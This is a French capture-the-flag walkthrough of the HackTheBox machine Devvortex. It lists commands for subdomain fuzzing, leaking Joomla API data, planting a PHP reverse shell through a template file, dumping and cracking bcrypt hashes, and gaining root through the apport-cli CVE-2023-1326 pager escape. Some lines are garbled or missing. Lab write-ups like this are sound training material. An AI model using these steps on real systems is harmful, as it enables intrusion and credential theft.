
Parcours HackTheBox Devvortex couvrant le fuzzing de sous-domaines, l'énumération de l'API Joomla, un web shell basé sur template, le cassage de hash bcrypt et l'élévation de privilèges via Apport-CLI CVE-2023-1326.
Un walkthrough technique complet détaillant la compromission de la machine Devvortex sur HackTheBox. Ce parcours illustre le fuzzing de sous-domaines, l'énumération de l'API Joomla, la modification de template pour l'accès initial, l'extraction et le cassage de hash de base de données pour le mouvement latéral, et l'exploitation d'Apport-CLI (CVE-2023-1326) pour l'élévation de privilèges vers root.
devvortex.htbdev.devvortex.htbapport-cli).Une découverte rapide initiale des ports TCP a été effectuée sur tous les ports :
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
Un scan ultérieur de détection de services et de versions a été exécuté contre les ports ouverts identifiés :
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Ajoutez le domaine cible de base à votre table de résolution de noms locale :
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Fuzzing des hôtes virtuels pour identifier des ressources web supplémentaires :
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Résultat : Découverte de dev.devvortex.htb. Ajout de dev.devvortex.htb dans /etc/hosts.
Énumération des routes sur l'hôte virtuel nouvellement découvert :
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Résultat : Découverte du point de terminaison /administrator, exposant un portail d'authentification administrateur Joomla.
Sondage des points de terminaison publics exposés par l'API REST de Joomla pour recueillir des métriques applicatives sensibles et des utilisateurs :
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
À l'aide des identifiants découverts lors de l'énumération, connectez-vous au portail /administrator de Joomla :
Naviguez vers System > Site Templates.
Sélectionnez le template actif et ouvrez error.php.
Remplacez le contenu de error.php par une charge utile standard de reverse shell PHP.
Initialisez un listener netcat local :
Bash
nc -lvnp 4444
Déclenchez l'exécution de error.php en demandant une page inexistante ou en accédant directement au fichier.
Une fois le shell connecté en tant que www-data, lancez une session PTY interactive :
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Accédez à la base de données MySQL locale à l'aide des identifiants récupérés dans les fichiers de configuration web :
Bash
mysql -u lewis -p
Interrogez la table des utilisateurs pour localiser les hash d'identifiants stockés :
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Extrayez le hash de mot de passe bcrypt de l'utilisateur logan dans un fichier local :
Bash
nano hash.txt
Cassez le hash à l'aide de John the Ripper avec rockyou.txt :
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Établissez une session SSH persistante en tant qu'utilisateur logan avec les identifiants cassés :
Bash
Bash
cat user.txt
Inspectez les binaires autorisés pour l'utilisateur logan :
Bash
sudo -l
Sortie : L'utilisateur peut exécuter /usr/bin/apport-cli en tant que root.
Vérifiez la version installée d'apport-cli :
Bash
apport-cli --version
Inspectez /var/crash pour les fichiers de rapport existants. S'il est vide, créez manuellement un fichier de crash :
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Lancez apport-cli contre le fichier de crash créé en utilisant sudo :
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Appuyez sur v pour View report.
Lorsque le paginateur (less) charge le contenu, échappez vers un shell système en saisissant :
Plaintext
!/bin/bash
Vérifiez l'élévation root :
Bash
whoami
# Output: root
Bash
cat /root/root.txt